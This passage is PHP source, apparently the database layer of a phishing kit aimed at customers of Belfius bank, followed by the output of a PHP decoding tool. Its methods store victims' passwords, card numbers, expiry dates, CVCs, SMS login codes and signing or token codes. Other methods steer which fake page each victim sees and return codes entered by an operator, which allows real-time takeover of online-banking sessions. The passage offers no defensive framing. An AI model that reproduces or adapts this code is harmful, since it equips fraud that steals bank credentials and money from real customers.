$stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBelPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_bel = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setPasswordPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_pass = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_cc = :empty, belfius_cc_exp = :empty, belfius_cvc = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_m1 = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_live = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBuyPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_buy = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTokenPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_m2 = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLoginCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_sms = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePageCode($uid, $page, $code) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_m1 = :empty, belfius_m1_get = :code WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $live, $livetwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_live = :empty, belfius_live_get = :live, belfius_live2_get = :livetwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":live", $live, PDO::PARAM_STR); $stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBuyPageCode($uid, $page, $buy, $buytwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_buy = :empty, belfius_buy_get = :buy, belfius_buytwo_get = :buytwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":buy", $buy, PDO::PARAM_STR); $stmt->bindValue(":buytwo", $buytwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTokenPageCode($uid, $page, $code2) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_m2 = :empty, belfius_m2_get = :code2 WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code2", $code2, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setFinishPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_m1_get"])) { return $data["belfius_m1_get"]; } return false; } public static function getToken($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_m2_get"])) { return $data["belfius_m2_get"]; } return false; } public static function getLive($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_live_get"])) { return $data["belfius_live_get"]; } return false; } public static function getLivetwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_live2_get"])) { return $data["belfius_live2_get"]; } return false; } public static function getBuy($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_buy_get"])) { return $data["belfius_buy_get"]; } return false; } public static function getBuytwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_buytwo_get"])) { return $data["belfius_buytwo_get"]; } return false; } } ?>

Function Calls

None

Variables

None

Stats

MD5 533d9949f87d389f37ca12441468b6b6
Eval Count 0
Decode Time 113 ms